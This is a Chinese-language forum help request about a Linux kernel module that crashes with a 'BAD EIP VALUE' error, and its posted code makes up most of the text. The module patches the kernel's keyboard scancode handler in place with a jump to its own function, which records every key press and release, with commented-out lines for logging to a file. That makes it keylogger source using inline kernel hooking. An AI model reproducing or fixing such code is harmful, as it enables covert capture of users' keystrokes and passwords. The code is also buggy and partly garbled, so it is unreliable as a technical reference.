|
以下代码编译后,加载的时候出现BAD EIP VALUE 类似内存溢出的错误
然后机器就死机了。望高手指点
#ifndef __KERNEL_SYSCALLS__
#define __KERNEL_SYSCALLS__
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/interrupt.h>
#include <asm/semaphore.h>
#include <linux/init.h>
#include <linux/inet.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << + (c))
#endif
#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif
//#define printk printk_R1B7D4074
void (*handle_scancode)(unsigned char,int) =(void(*)(unsigned char,int))
HS_ADDRESS;
static struct semaphore hserials_sem;
static int logging=1;
#define CODESIZE 7
static char hserials_code[CODESIZE];
static char hserials_jump[CODESIZE]="\xb8\x00\x00\x00"
"\xff\xe0";
void _handle_scancode(unsigned char scancode,int keydown)
{
if (logging && keydown)
// sprintf(KERN_ALERT "SCAN CODE %x .\n",(int)*((char *)scancode)&0x7F);
// log_scancode(scancode,LOGFILE);
printk("Scan Code %x %s.\n",
(int) *((char *) scancode) & 0x7F,
*((char *) scancode) & 0x80 ? "Released" : "Pressed");
down(&hserials_sem);
memcpy(handle_scancode,hserials_code,CODESIZE);
handle_scancode(scancode,keydown); ///&Ocirc;&Euml;&ETH;&ETH;&Ocirc;&shy;&Agrave;&acute;&micro;&Auml;
memcpy(handle_scancode,hserials_jump,CODESIZE);
up(&hserials_sem);
}
static int __init initmodule(void)
{
*(long *)&hserials_jump[1] = (long)_handle_scancode; /* &cedil;&sup3;&Igrave;&aelig;&raquo;&raquo;&ordm;&macr;&Ecirc;&yacute;&micro;&Oslash;&Ouml;· */
memcpy (hserials_code, handle_scancode, CODESIZE);
memcpy (handle_scancode, hserials_jump, CODESIZE);
return 0;
}
static void __exit exitmodule(void)
{
memcpy (handle_scancode, hserials_code, CODESIZE);
return;
}
module_init(initmodule);
module_exit(exitmodule);
MODULE_LICENSE("GPL"); |
|